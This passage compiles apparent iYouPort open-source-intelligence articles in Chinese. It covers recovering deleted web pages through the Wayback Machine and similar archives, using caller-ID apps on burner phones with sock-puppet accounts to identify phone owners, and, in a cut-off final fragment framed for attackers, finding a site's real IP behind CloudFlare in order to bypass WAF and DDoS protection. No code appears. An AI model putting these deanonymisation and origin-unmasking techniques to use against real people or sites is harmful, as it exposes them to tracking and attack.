Wojciech 说："我认为要接管整个发电厂并不是一件容易的事，但是一些小的错误配置是明显的入口，例如 将设备暴露于互联网，使用默认凭据或运行其他易受攻击的软件。"

Kamerka 已经在 GitHub 上可用。您甚至可以试试看，看它有多可怕（准确说是，不安全的物联网有多可怕）。〇

原文

如何快速找到你想要的东西：追踪数字证据的小技巧 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

本文将帮助您探索从互联网上挖掘证据的基本方法 —— 寻找和检索历史信息和 “丢失的 “信息；以及如何将自己的网页副本存档和保存，以备将来参考的方法，防止审查删帖和技术故障

「图」

「图」

每当你需要在互联网上查找信息时都会遵循一条线索，但如果链接不再可用或网站被废弃，您的线索就断了。

有时，您会在网站上找到重要信息，这些信息可能会增加您的调查的价值，但您不会马上意识到这点，而是稍后才能意识到它的价值。

而当您重新访问该网站准备进行记录时，您可能会发现它不再存在，您记忆中的特定网页已被删除，或者您所需的信息不再可用，已被新内容替换。

在调查过程中，您可能会面临上述所有这些挑战。

案例分析

一个著名的案例是，Facebook 在全球政治活动中成功案例的清单，该网页被删除了，后来证明对调查人员来说是至关重要的证据，

Facebook 的网站原本支持了多个 “政府与政治” 项目，政党和候选人利用该社交网络的工具和服务在网上锁定选民、影响选举结果。该网页可在这里找到：https://www.facebook.com/business/success/categories/government-politics。这个链接曾经是有效的，直到突然

之间，它就失效了。

在 “剑桥分析公司” 数据收集丑闻爆发并引起了对公司允许第三方出于商业和政治目的访问其用户群私密数据的做法的强烈关注之后，Facebook 在2018年初将其页面从案例列表中删除。

- 关于剑桥分析公司事件的内幕 《心理操纵的秘密：”行为经济学”＋PR＝？》

The Intercept 报道过这一背景，在这里找到。

在这种情况下，是否有某种方法可以使时光倒流并在内容被更改或被删除之前获得该网页或至少其一部分的副本？

幸运的是，有一些简单的方法可以检索旧的内容和已删除的页面，因此您仍可以在调查中引用它们。您还可以保存当前可访问的页面，以便以后可以使用它们，即使在此期间对其进行了修改或删除。

有多个这样的服务可以自动存档网站的历史版本。除了内容外，这些数字档案通常包含的信息可以帮助您识别其他重要的数据 —— 如网站的所有者、有用的名称、联系方式、文件和其他网站的链接等。

其中一些服务允许您手动保存网页，从而为他们存档的网站列表做出贡献。您（和其他人）可以在以后检索这些网站的快照。

回到上面的案例，在这样一个服务的帮助下 —— 互联网档案馆的 “时光机”（下文将详细探讨）—— 您可以找到 Facebook 曾经在其 “Success Stories” 网页 https://www.facebook.com/business/success 的 “政府与政治 “部分下的存档列表。

在这里您可以看到，这些信息在2017年还在线，现在仅保存在互联网档案馆中。

「图」

「图」

「图」

「图」

更重要的是，一些旧的内容是可以访问的，在存档页面中的一些旧链

接仍然有效，所以你可以实际阅读到他们的政治运动项目的细节。

此类网站的存档版本保留了对于调查人员来说非常有价值的信息。

例子

记者和安全研究员 Brian Krebs 使用了一个销售恶意软件的网站的存档材料，帮助确定了该恶意软件可能的作者。

该网站的一个存档版本包含了一个 WebMoney（全球在线企业支付系统）的账号，该账号与一个在暗网论坛上推广恶意软件的人的用户名相关联。

根据这一线索，Krebs 能够从该论坛的用户名追溯到据称创建和传播恶意软件套件的个人的真实身份。

安全第一！

当您将存档服务指向您感兴趣的网页时，它将抓取该网页并存储一份副本。而被存档的网页将自动添加一个记录到正在进行的“访问日志”中，它记录了什么时候、通过什么IP地址进行的访问。

细心的网站管理员或自动化流程可能会意识到自己的网站的一部分已被 Wayback Machine 存档。

反过来，这可能会给他们提供线索，表明有人正在调查特定内容或与他们有关的人。

在某些情况下，如果您正在研究的内容是敏感的，并且必须至少一段时间内不能让公众看到，那么仅此一点就足够让您失败了。

至少，网站管理员可以将存档的资料从 Wayback Machine 中删除。(这也是为什么要把对你的调查至关重要的内容制作成自己的离线副本的原因之一)。管理员还可以删除或修改你尚未找到的类似内容。

大多数存档服务都会保留访问日志。

例如，Webcite 会记录每个用户的计算机操作系统和网络浏览器，以及每个用户的互联网服务提供商的域名（Webcite 隐私政策中有写到）。因此，在使用存档服务时，您最好能使用**VPN**和**Tor**浏览器。

此外，某些服务要求每个用户创建一个帐户，选择一个用户名，提供付款信息、验证电子邮件地址或关联社交媒体资料。

您应该考虑建立一组单独的替身帐户 —— 袜子木偶，以便与此类服务一起使用，将调查工作与个人在线身份切割开，避免追踪。在下面看到更多具体做法：

- 《某些行动者，你需要一个袜子木偶》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》
- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》

在某些情况下，您完全可以为特定调查创建单一用途的 “角色/身份”，并在调查工作完成后将其废弃。

无论哪种方式，您的第一步都是创建一个相对安全的、完全独立的电子邮件帐户，您可以在 tutanota.de 或 protonmail.com 上轻松地进行此操作。

支付方式是比较难以掩盖的。如果您居住在可以用现金购买预付信用卡的地区，那可能是您的最佳选择。

如果您能做到上述，即便网站管理员从 Wayback Machine 中观察到了突然出现的追踪迹象，你的调查对象也可能很难将此迹象追溯到你身上。

理论上，如果您选择的存档服务是值得信赖的，如果没有人能够同时访问网站的日志和存档服务的日志，那么这位管理员可能很难将线索联系起来。

话虽如此，但最好采取上述建议的预防措施，而不是依赖这个假设。例如，假设只有少数几个IP地址在被添加到 Wayback Machine 的同一天浏览了该存档页面，任何人都很容易就能想明白，自己被盯上了。

使用 Wayback Machine 存档和检索内容

Wayback Machine 是位于旧金山的非营利组织 Internet Archive 的一

个项目，自1996年以来一直致力于保存数十亿个网站，这是对互联网进行归档并提供对所有知识的普遍访问能力的一部分。截至2019年初，它已存档了约345亿个网站。

「图」

「图」

时光机是研究人员、历史学家、调查人员和学者的重要工具。它免费向公众开放，可以帮助您访问在不同时间点拍摄的网页快照。

它的抓取并没有固定的模式来决定他们访问哪些网站，以及他们访问的频率，因为会受到资源限制和政策决定的影响。

因此，您可能不一定能找到特定日期、月份甚至年份的存档版本。此外，网站可以主动选择不被 Wayback Machine 等服务存档。通过在名为 “robots.txt “ 的文本文件中发布一组限制，网站可以指示爬虫将其部分或全部内容从存档或索引中剔除。

尽管如此，Wayback Machine 的大量数据依然很可能在您的许多调查中不可或缺的。

注：

Robots.txt 是位于网站上的文件，列出了爬网程序应该或不应该访问的网站部分。如果网站上有 *robots.txt* 文件，则可以通过在其域或子域中添加 “ */robots.txt*” 来进行查看。例如：//https://google.com/robots.txt//。

网站可以使用这个文件来阻止 *Wayback Machine*、*Google* 等搜索引擎或任何其他索引或存档服务的爬虫。

一些网站管理员选择使用限制性的 *robots.txt* 文件的原因有很多：例如，限制带宽成本、减少超载的服务器压力、保护商标图片，或者防止未完成的网站出现在搜索结果中。

然而，在某些情况下，他们这样做是为了掩盖潜在的敏感内容。

虽然 *Wayback Machine* 并不总是遵守这些限制，但仍有许多网站的爬虫程序会因为 *robots.txt* 指令而拒绝存档。

如果您在使用 *Wayback Machine* 查看或归档网站上的部分页面而不是

全部页面时遇到困难，您可以检查其 *robots.txt* 文件，看看是否该网站的任何部分被 “禁止” 了。

除了提供用于检索自动存档网站的简单界面之外，Wayback Machine 还允许您手动存储网页快照，从而确保它们不会突然消失。

此服务不仅可以存档与您的调查有关的网页，而且还为您提供了一种简便的方法，使您可以在调查形成时引用研究并链接到内容。

虽然将重要网页的 HTML 或 PDF 副本保存到自己的设备上，并确保有多个备份是个好主意，但如果你最终与他人共享这些存档，使用 Wayback Machine 可以增加中立性和信任度。对大多数人来说，这也比维护一个离线数字文件库要方便得多。

使用 Wayback Machine 查找页面

为了找到不再可访问的页面，或查看旧版本的网页，只需转到 https://web.archive.org，然后输入要搜索的网址。

如果该页面以前曾被存档，则保存日期将显示在当年的日历上。您可以使用时间轴导航到目标年份，该时间轴也会显示该页面每年归档的频率图。点击您感兴趣的年份后，该年的档案将以带颜色的圆点标记在日历上。

本文将以2018年因公司倒闭而被撤销的网站 https://cambridgeanalytica.org/ 为例（更多详细内容请参见上面的关于剑桥分析公司丑闻的内幕文章）。

「图」

「图」

蓝色点表示该日期已捕获了完整的网页。这些通常是您要查找的档案。绿色点表示，当搜寻器访问该网址时，它会自动重定向到同一网站上的另一个页面。这些档案可能不包含您要搜索的内容。

橙色和红色的点表示在归档过程中发生了错误，这可能是由于搜寻器或网站服务器出现故障所致。

大点表示当天有多个存档。您可以将鼠标悬停在它们之上，以根据一天中的时间选择特定的归档文件。

选择页面的存档版本后，Wayback Machine 的导航栏将显示在屏幕顶部，这样，您可以使用时间线或单击 “下一个” 和 “上一个” 按钮在该页面的不同存档之间浏览。

「图」

「图」

注：

为了帮助您确定在线证据的有效性，您可能需要验证 Wayback Machine 归档网页时的确切日期和时间。

您可以通过检查存档网址中嵌入的 “时间戳” 来实现。该时间戳的格式为四位数的年份，然后是捕获归档文件时的月份、日期、小时、分钟和秒的两位数字表示形式。

您可以在 “ https://archive.org/web/” 和已存档页面的网址之间找到它。例如，以下存档于2017年8月31日06:00 27秒被捕获：https://web.archive.org/web/20170831060027/https://cambridgeanalytica.org

使用浏览器进行快速查找的技巧

Wayback Machine 还可以让您请求其存储的特定网站存档，而无需通过其搜索界面。

相反，您可以通过自己的浏览器访问格式正确的网址来执行此操作。

只需将网址添加到 Wayback Machine 地址的末尾即可：

“https://web.archive.org/www.yoursite.com/”（其中 “www.yoursite.com/” 是您要搜索的任何网站）

您的浏览器将显示您要查看的网站的最新存档版本。

此外：

如果您用星号（*）分隔两个地址，则浏览器将加载档案的日历视图：“ https://web.archive.org/*/www.yoursite.com/”

如果您还在最后添加了一个星号，则 Wayback Machine 会向您显示

该域下的所有存档，而不仅仅是主页：“ https://web.archive.org/*/www.yoursite.com/* ”

例如，浏览到 https://web.archive.org/web/*/cambridgeanalytica.org/* 将逐页显示 Wayback Machine 存档的所有 cambridgeanalytica.org 页面。

「图」

「图」

使用 Wayback Machine 存档网页

Wayback Machine 的另一个关键功能是它能够按需存档网页。

无论您是想保存调查信息，还是确保自己发表的作品的可访问性，您都可以导航到 https://archive.org/web，在页面右下角找到 “立即保存页面” 表格。

只需输入一个网址（如 “http://www.yoursite.com/projects“），然后点击 “保存页面” 按钮。

除非您输入的网站已阻止互联网档案馆的存档，如上文中的 robots.txt 部分所讨论的那样，否则 Wayback Machine 将开始存档。您将看到一个进度条，它会让您知道页面何时保存。

「图」

「图」

「图」

「图」

注意

上述步骤将只存档您提交的页面（在本案例中是 “http://www.yoursite.com/projects“），而不是该网站上的所有内容。如果您想用这种方法存档整个网站，您需要单独提交每个页面。

此外，此功能并不能保证将来会定期存档该页面，所以您可能需要不时地重新访问 Wayback Machine，请求额外的快照。

下载存档内容

不幸的是，互联网档案馆不允许你搜索其庞大的存档中的所有网站的全文。虽然它确实提供了某些档案的主页面的搜索功能，但目前它并没有对其3450亿页的网页进行索引。但是，如果你想搜索特定域的存档内容，有一个方法可以做到。

如果您在计算机上安装了 Ruby 语言（1.9.2或更高版本），则可以使用 Wayback Machine Downloader 脚本下载给定域下的所有存档文件。

该脚本可让您指定要下载的日期范围，如果您正在使用已存档多年的网站，这将会很有帮助。

Wayback Machine 的局限性

如上所述，并非所有网站都由 Wayback Machine 自动或定期存档。

使用标准的算法来选择站点，例如，人们访问它们的频率以及其他网站链接到它们的频率（这也是可信度的指标）。其中一些数据来自领先的网络流量、统计和分析公司 Alexa 产生的排名。

如上所述，虽然您可以手动存档某些页面，但是您不能影响 Wayback Machine 将自动定期存档的网站集。

Wayback Machine 也有其他限制。示例包括：

- 受密码保护的网站不会存档。
- 严重依赖 JavaScript 的动态网站可能无法正确存档。
- 网站管理员可以通过发布限制性的 robots.txt 文件（如上所示）或直接向档案馆发送请求，来明确要求不要存档其网站。
- 网站管理员可以请求从 Wayback Machine 中删除以前存档的内容。
- 目前没有全文搜索。

示例

为了说明存档有时也可能消失的原因，记者 Joy-Ann Reid 所经营的博客的辩论中就涉及到了这个问题。

Reid 的律师联系了互联网档案馆，并试图删除其博客的存档版本，称

她的某些文章被一个不知名的团体所操纵，该团体在她的作品中插入了欺诈性内容。

当请求不起作用时，Reid 的博客只是更改了 robots.txt 文件，以限制 Wayback Machine 的抓取。抓取工具收到更改后，会自动将博客的存档全部删除。

此案例说明了人员和组织如何使用法律和技术手段从这些第三方存档中删除内容。

在欧盟和其他一些地区，“被遗忘权” 使个人可以选择要求搜索引擎和数字档案馆删除与他们相关的被认为有害或诽谤的内容。

这项权利有局限性，因此并非所有内容都可以根据要求删除，但是请记住，您调查的某些主题（尤其是政客、罪犯和其他有争议的人物）可能会利用该机会删除与他们相关的互联网内容 —— 证据，阻碍您的调查。

注

请记住，域名可以出售，废弃的域名可以重新注册。结果，随着时间的推移，单个域可能由多个所有者管理。在这种情况下，网站的存档历史记录可能不是连续的，并且较旧的资料可能与您的调查无关。

其他检索和存档网页的方法

Archive.today

Archive.today（以前称为 archive.is）会存档网页，就像 Wayback Machine 一样。

但是，Archive.today 的不同之处在于，它仅存储单个页面，而不是整个网站，并且仅根据其用户的请求而不是自动存储。

这是来自 https://cambridgeanalytica.org/ 的存档页面示例：

「图」

「图」

由于它不会抓取网站，因此几乎没有您在 Wayback Machine 上可以找到的广泛信息。

但是，它确实提供了三个关键功能：#与 Wayback Machine 不同，它使您可以搜索其存档的全文。

- 它会忽略其存档网站的 robots.txt 文件中可能指定的任何限制。因此，它可以保存 Wayback Machine 无法访问的某些页面的快照，例如公开 Facebook 个人资料和 Twitter 帖子。
- 它还可以保存存档页面的文本副本和屏幕截图。与保存页面本身相比，这有时可以提供更高的准确性，尤其是在存档快速变化的内容时（例如滚动显示的论坛消息和图像的快照等）。

您可以通过输入确切网址（例如“ https://cambridgeanalytica.org”）来查找网页存档，也可以使用通配符（*）查找网站的存档子域或子目录（例如“ *” .cambridgeanalytica.org”）。这是 Archive.to 中搜索 * .cambridgeanalytica.org 的内容：

「图」

「图」

与 Wayback Machine 一样，archive.today 使用带有嵌入式日期戳的网址为您提供到存档内容的直接链接，如下所示：http://archive.today/2018.01.01-042001/https://ocean.cambridgeanalytica.org/

Archive.today 还通过 archivecaslytosk.onion 提供Tor服务。洋葱服务只能通过Tor浏览器访问，但是它们使您能更轻松地使与服务的交互保持匿名。如果您正在研究一个敏感的主题，或者怀疑自己的在线活动可能会被跟踪，那么此功能会特别有用且至关重要。

Google Cache

Google 缓存是查找最近被删除或无法访问的页面的另一种方法。

Google 访问网页时，会创建该页面的缓存版本或副本作为备份。它通常会在搜索结果中提供这些副本。

要访问 Google 的网页缓存版本，请使用 Google 搜索引擎搜索您要查找的页面，单击搜索结果网址右侧的小箭头，然后选择“缓存”。这将加载网站的缓存版本，该版本由 Google 的抓取工具先前将网站编入索引时备份。

「图」

「图」

在上述情况下，尝试搜索现已失效的网站 http://cambridgeanalytica.org/ 的缓存，但自2019年2月28日起，谷歌搜索不再提供该缓存。但是，它的缓存版本在2019年2月26日仍然可用，今天可以通过 archive.today 捕获它。

与上述存档服务不同，Google 的缓存不提供其存储页面的历史记录。

取而代之的是，它在爬网程序最后一次访问它们时显示这些页面的内容，因此它可能会显示当前版本的网页中缺少的内容，或者使您可以访问已被删除的内容。

找到一个缓存的网页表明它曾经存在，但是缓存经常被更新的内容覆盖或完全消失（就像上面的例子那样）。此外，网站管理员可以要求Google从其缓存中删除内容。

由于某种原因，Google 可能不会将缓存页面保存足够长的时间，以至于您无法将其用作调查的依据，因此，通常最好使用诸如 Archive.Today 这样的附加服务来备份缓存页面本身。并制作自己的离线副本作为备份。

屏幕截图和PDF对记录特定版本的页面都很有用，并且在以后需要证明信息正确时可以为您提供帮助。

如今，当您使用 Wayback Machine 或 archive.service 之类的服务来存档网页时 —— 尤其是当它具有冗长而复杂的网址时（例如 Google Cache 的存档副本），请务必将该链接单独保留。依靠浏览器的历史记录来查找此类内容是灾难的根源。

WebCite

Webcite 是一项免费服务，它提供一种方法来保存文章或期刊中引用的链接，包括互联网上的网页或其他数字内容。

该服务通常由希望保留其在线引用的作者、编辑、研究人员和出版商使用。

WebCite 允许快速手动保存单个网址。它还提供了一项服务，可以自

动“梳理”上载的文本文档，以保留源自在线资源的所有引用。

WebCite 支持几种不同的方法来检索引用的材料。除了可读和缩短的网址外，WebCite 还为引用提供了更高级的参考格式，例如 DOI（数字对象标识符）和密码哈希。

您可以使用他们的书签或通过Web表单（https://www.webcitation.org/archive）向 WebCite 提交内容。

注：

检索网站内容并在发生任何更改时保持更新的另一种方法是使用站点监视器。这些服务可以跟踪和监视网页中的视觉变化，无论变化发生在代码、图像、还是文本中。这些工具对于研究人员来说非常有用，并且如果您的调查需要监视许多有用的网站，则可以帮助自动化某些工作。

它以不同的方式存档网页，提供一个要查看的网页特定部分，它会拍摄快照，然后监视页面中的可见更改。

如果有任何变化，无论大小，站点监视器都会向您发送一封电子邮件以通知您。

该电子邮件将包含一个网站链接，您可以在其中查看更多详细信息。一些站点监视器会附加更改前后的屏幕截图。

作为调查人员，您可以将站点监视器与存档服务结合使用，以了解重要的网站更新。

为了能通知您，这些工具要求您设置一个帐户并向他们提供对电子邮件地址或电话号码的访问权限。

再一次，您可以通过创建一个单独的替身电子邮件地址来避免暴露您的真实身份和联系方式，尤其是在进行敏感调查时。

Visualping

Visualping 提供了一项免费计划，使您每个月最多可以监视62个网页。这意味着它可以每天检查两个网页之间的任何内容（如果发生更改就提醒您），或者每周检查多个页面，或其他适合您的组合，总之每月62个网页。

免费版本可以每小时、每天、每周或每月运行一次检查，以将网页与其以前的版本进行比较，并在文本、图像、关键字或任何选定页面区域发生修改时通过电子邮件提醒您。该服务还可以通过 Tor 浏览器工作，非常建议将此选项用于加固的隐私和安全性。

ChangeTower

ChangeTower 提供了一项免费计划，该计划最多可以监视三个网站，每天最多可以进行六次检查（在这种情况下，它可以每天扫描一个网站两次）。它可以监视特定的URL、整个网站或其他（您可以选择要监视的网站页面）。

它可以搜索文本内容、视觉内容、html、关键字等细节的更改。免费计划可将您的监视结果最多存储一个月。该服务也可以通过Tor浏览器工作，推荐使用。

好了，就是这样！您学会了吗？作为调查对象的那些家伙往往是非常狡猾的，他们会专注于掩盖证据，在实践过程中您将可以积累到更多有利于您的调查工作的方式。希望您总是能够挖掘到想要的内容。好运。〇

原文

如何快速知道未知来电的真实身份？ - iYouPort

开源情报-每个人都可用的武器

有很多应用程序可以让你通过电话号码查找真实身份。但是并非每一个都那么好用。并且这类应用程序颇具争议，在开源情报方面的使用需要一些注意事项

「图」

「图」

TrueCaller 或 GetContact 等热门应用程序声称能够查看究竟是谁打电话给您，即使您不知道该号码；也可以向用户发出垃圾邮件或诈骗电话提醒。

但是，这些应用程序通过大量收集信息以确定未知呼叫者姓名的方式很难广泛传播。

这类程序的判断信息来自读取用户的联系人列表，然后将数据与正在使用相同号码的其他实例以及列出号码的 Facebook 配置文件进行交叉引用。

这些应用程序大多足够聪明，可以确定“妈妈”或“爸爸”不是显示传入的未知号码的有用名称，但通常会引用联系簿中给出的名字，这些名字有可能是昵称或化名，甚至是侮辱性的。

例如，2014年关于现已停产的应用程序 Noknok 的一篇文章描述了有多少女性被贴上了侮辱性的名字标签，一名女性发现自己被标记为“Ness booty call 2”。

其他类似应用程序可能会提供有关个人背景的更多信息，例如对 Jamal Khashoggi 谋杀案的调查中，就用到了这样一个应用程序来揭示关键信息：Menom3ay，这是一个在沙特流行的应用程序，允许用户查看其他用户与某些电话号码的联系。

开源调查中经常会用到这样的工具，尤其是当你只拿到一个电话号码的时候。

比如在对 Oleg Ivannikov 的调查中，查到与这名男子有关的两个电话号码显示了他在乌克兰使用的合法身份 “Andrei Ivanovich”，另一个号码则透露了他在俄罗斯使用的出生名：Ivannikov。

「图」

「图」

使用通过电话通讯录应用程序保存的信息是数字调查中经常被忽视的资源，很大程度上是由于这些应用程序很繁杂并且都具有侵入性的隐私政策。

此外，绝大多数相关应用都需要手机才能使用，而缺少可访问的Web版数据库，这可能使得研究变得更加繁琐。

本指南将详细说明如何在相对安全的环境中使用这些应用程序 —— 通过 Android 虚拟机或未连接到调查人员真实电子邮件帐户或电话号码的一次性手机/号码。

准备调查设备

要为您的 PC 设置模拟 Android 手机 —— 换句话说，您在计算机上运行的程序假装自己是手机。

在这里看到操作教程《如何在您的 PC 上创建 Android 开源研究设备？》

您还可以使用 Bluestacks 或其他 Android 模拟器，其中一些具有**iOS**版本。

并非所有这些通讯录应用程序都可以在 Android 模拟器上运行，但大多数都可以。

这指的是您的调查相对敏感，需要对目标保密的情况下使用。如果您不担心曝光自己的真实身份、愿意使用自己的真实电话号码，请跳过这步。

但必须强调，手机号能暴露很多东西，在这里看到介绍《"如果只知道一个电话号码，你能挖出多少有效信息"？》。

我首选的研究方法是使用一个解锁的“一次性电话” —— 这是一个旧的、脏的、破的 Nexus 5X，自2016年换了新手机以来从来没有使用过。

将这个破手机重新启动，并将其链接到专为研究而创建的独立的 **Gmail** 帐户，请注意，这里没有任何SIM卡或附加的电话号码。

「图」

「图」

其中一些这类应用程序需要实际的电话号码才能进行SMS验证。

许多人发现使用Google语音号码或其他服务可以成功为此目的生成电话号码。

虽然这能适用于某些网站，但是，许多平台 —— 包括 Facebook —— 会识别到一个号码不是“真正的手机号”（即连接到 Google Voice 等服务而不是真正的SIM卡），因此会拒绝将此号码用于验证。

再次强烈建议不要使用你的实际电话号码，更不用说使用真正的手机了。

所以我通过 Tracfone 的网站购买了一张SIM卡，在中国你可能会通过其他方式买到黑卡，非常建议线下交易。

延伸：《4款最佳一次性手机号码应用》

此外在很多机场你都可以买到预付费的SIM卡，下次旅行的时候想着注意这些东西。您应该使用现金购买，而不是其他任何支付方式。

这部旧手机非常难用，于是我使用手机镜像程序从电脑上控制这部手机。

有很多应用程序可以做到这点，有免费的也有付费的，在这里我使用的是 Apowermirror。

Airdroid 和 Microsoft Remote Desktop 都可以做到，大同小异。

如果您想通过PC或Mac的鼠标和键盘控制手机，最好通过USB插入设备。

设备设置将根据您使用的应用程序而有所不同，但大多数都需要您打开USB调试模式（如果您不知道如何操作，请将您的手机型号添加到此搜索中）。

完成设置后它应该是这样的（如果它是 Apowermirror）

Apps

iOS 和 Android 上有许多手机通讯录应用程序，从世界各地流行的应用程序（如 GetContact，TrueCaller）到仅在特定国家或地区流行的其他应用程序。

本指南不会详细介绍这些应用中的每一个，但会从Google Play商店中查看大约十几个最受欢迎的应用，并详细说明每个应用的要求、优缺点和功能。

如果您还知道其他更好的应用程序，请留言告诉我们。

在每个摘要中，使用相同的参考手机号来查找结果：我自己的电话号码，同事的号码，Verizon Wireless 的号码，特朗普公开发布的手机号码，以及俄罗斯指挥官/分离主义者 Aleksandr Borodai 的电话号码。

显然，这是一个非常小的样本量，但最好测试与您自己的研究领域相关的电话号码，以查看哪个应用程序最有效。

这些应用程序中的大多数都要求您同意极具侵入性的隐私政策和权限。这就是为什么非常建议您选择能与真实身份切割的独立设备。

并且如果应用程序出现任何问题，始终可以在设备上运行恢复出厂设置。

本指南将测试介绍以下应用程序：GetContact，TrueCaller，CallApp，Hiya，Dalily，Tellows，Eyecon，Viewcaller，Showcaller，Whoscall。

其他类似的应用程序还有很多，但与上述基本没有太大区别。

GetContact

要求：短信验证、电子邮件地址

免费

成功率：1/5（找到了 Borodai 的号码，以及试图搜索的所有其他俄罗斯和乌克兰号码，但是，甚至无法搜索任何＋1或＋44的号码）

理论上 GetContact 是最好的通讯录应用程序之一，尽管它在许多国家都不起作用或被禁止。

例如，俄罗斯和乌克兰的大多数电话号码都会返回相关人的名字；但是，在美国和英国（以及其他国家/地区），GetContact 甚至不允许您尝试搜索号码，可能是由于法律或隐私限制。

您必须能够验证SMS消息才能使用 GetContact，这意味着您应该使用仅用于调查的废旧电话或一次性手机相关联的电话号码来激活帐户。

我没有尝试使用Google语音或其他类似服务来验证 GetContact。以它的标准，不一定可以被通过。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

虽然 GetContact 的可用国家数量非常有限，但它有很多可以搜索的数字信息。

几乎所有带有俄语或乌克兰语代码的号码都会在 GetContact 上显示结果，甚至显示该区域的用户群有多广。

TrueCaller

要求：Google（Gmail）或 Microsoft Live 帐户

免费

成功率：4/5（伦敦号码不行）

这是唯一不需要移动设备访问其数字数据库的应用程序之一。

在隐身或私密窗口中访问 truecaller.com，然后登录您的非个人独立 Gmail 或 Microsoft Live 帐户，以在您的浏览器上搜索号码。

在大多数国家/地区，您都可以在30秒内从登录屏幕创建 Gmail 帐户，其中唯一需要的信息是用户名、密码、名/姓、出生日期和性别，都可以是假的（无需电话号码或恢复电子邮件）。

「图」

「图」

登陆后直接使用，没有付费墙不需要短信验证。

「图」

「图」

「图」

「图」

「图」

「图」

CallApp

要求：Google / Gmail 帐户，Facebook 帐户或短信验证

免费

成功率：3.5 / 5（其中一个不准确）

此应用程序允许您通过几种不同的方式登录：Facebook 帐户、Google（Gmail）帐户、或通过短信验证 —— 并且还大量合并 **Facebook** 结果，以构建其用户数据库。

「图」

「图」

CallApp 还有许多社交功能，包括其他同类应用程序不包含的联系簿详细信息，例如电子邮件地址。

但是存在不准确的地方。在测试的五个选项中 Verizon的号码被显示了一些不准确的信息，而特朗普的号码列出了新西兰的地址。

伦敦号码的结果是正确的。此外，对 Borodai 的搜索出现误报，显示出一位名叫“Alexsander Firsov”的男子，尽管俄罗斯指挥官 Borodai 的旧号码现在可能被其他人使用。

「图」

「图」

「图」

「图」

「图」

「图」

Hiya/ Mr Number

要求：钱

Hiya 和 Mr Number 由同一家公司经营，Hiya 更专注于反向电话查询，而 Mr Number 则专注于垃圾短信通知和呼叫阻止。

但是，这些服务需要付费（每月1.25美元）才能访问他们的数据库，因此我们没有进一步测试应用程序。

「图」

「图」

Dalily

要求：无

免费

与本指南中详述的其他应用程序不同，Dalily 仅以阿拉伯语国家为特色，对中东或北非以外的任何人都没用。

但是，鉴于一带一路……所以也许有些调查用得到。

此应用程序中包含的所有国家/地区如下所示：

「图」

「图」

「图」

「图」

「图」

「图」

Dalily 提供的信息示例如下所示，其中包括沙特国家水务公司的联系簿。

「图」

「图」

Tellows

要求：无

免费

提供与垃圾邮件/骗局呼叫相关的号码评分。还会列出每个号码的用户提交的评论。也显示搜索号码的次数。

成功率：1/5（仅仅 Verizon 是对的）

不需要帐户登陆或电话号码，Tellows 非常易于使用，并且具有一些比同类应用程序更有趣的功能。

如下所示，Tellows 将提供用户提交的号码注释，但也会显示

Tellows 用户搜索的号码的次数。

「图」

「图」

「图」

「图」

Eyecon

要求：短信验证的有效电话号码

免费

成功率：2/5（仅特朗普和 Verizon 是对的）

您需要拥有可以接收短信消息的有效电话号码才能使用它，但不需要电子邮件或社交媒体帐户。

在此之后，应用程序将要求使用姓名，当然，假名很容易。

「图」

「图」

「图」

「图」

要搜索号码，您需要在主搜索页面的右上角选择“Unknown”选项。

从那里输入您要搜索的号码，然后选择“搜索”。以下黄色突出显示了这两个选项。

「图」

「图」

「图」

「图」

「图」

「图」

这个应用程序找不到我尝试的任何非美国号码，表明它在结果上的地理范围非常有限。

Viewcaller

要求：无

免费

成功率：2/5（Verizon、特朗普是对的）

Viewcaller 是本文中最简单的应用程序之一，不需要任何类型的身份验证或登录，返回的搜索结果只提供一个名字。

该应用程序不提供任何其他详细信息。

「图」

「图」

「图」

「图」

Showcaller

要求：无

免费

成功率：1/5（仅认出了 Verizon）

这个应用程序非常易于使用，并没有很多要求（例如没有短信验证，电子邮件等），但可供使用的电话号码数据库看起来很小。

五个被测试的电话号码中唯一正确的是 Verizon Wireless 的号码，并且它错误地将其它号码都标记为俄罗斯。

「图」

「图」

「图」

「图」

Whoscall

要求：Facebook 或 Google（Gmail）帐户

免费

成功率：1.5 / 5（只认出了 Verizon，搞错了特朗普）

Whoscall 需要 Facebook 或 Gmail 帐户，但都可以设置为袜子木偶账户。在这里看到操作《如何建立一个匿名 Facebook 账户以保护个人数据的私密性？》《分裂人格的魅力》

输入不那么方便，需要选择键盘选项卡（应用程序底行左侧第二个），输入您要搜索的号码，然后单击自动填充。

它有一个有趣的功能，不仅会显示名字，还会在 “Community Report”里显示其他可能性。

「图」

「图」

「图」

「图」

结论

开源调查对这类应用程序的使用不足 —— 主要因为大多数调查人员需要准备额外的电话号码、备用的独立 Gmail 和 Facebook 帐户，并且要有足够的耐心才能真正充分利用这些资源。

安全研究人员也不喜欢这类应用程序，因为其普遍具备的侵入型和欺骗性。

卡巴斯基实验室的 Leonid Grustniy 去年提供了 GetContact 商业模式之危险的基本概述，提醒那些对这些应用程序更广泛的安全含义感到

好奇的人提高警惕。

在这篇卡巴斯基帖子中带有 GetContact 应用权限的截图：

「图」

「图」

在开源调查中，通常会查找有关特定目标自我发布的信息，例如可以通过商业注册文档和社交媒体配置文件收集到的信息。

由于成千上万的移动应用程序从用户那里收集私人数据，开源调查的资源非常丰富，因为这些信息是公开的或无意中泄露的。

显然，这种趋势将导致许多道德上的困境，即 应该和不应该将哪些信息用于研究。隐私倡导和开源调查一直是相悖的。

比如有人会在 TrueCaller 或 GetContact 上附加带有您的姓名的个人电话号码，尽管您自己从不使用这些应用程序。

此外，这类应用程序可能容易受到用户 GPS 数据泄漏的影响；如果您特别注重安全，在访问这些应用程序时，可以考虑使用 **VPN** 或 **GPS** 欺骗服务（例如 Fake GPS ）。○□

原文

如何找到在 CloudFlare 或 Tor 背后隐藏的真实源 IP？ - iYouPort

开源情报-每个人都可用的武器

获得用户的真实原始IP是攻击者梦寐以求的梦想，利用真实IP，攻击者发起的攻击才更有针对性和效率。这里有5个方法可以做到这点

「图」

「图」

配置了任何类似隐藏功能以及 CloudFlare 的服务，都具有隐藏用户真实原始IP的效果。攻击者只能利用其中的漏洞，才能找到想要的IP，进而利用这些IP，直接攻击使用 CloudFlare 的网站。

比如绕过WAF、限制网速、绕过DDoS保护等。

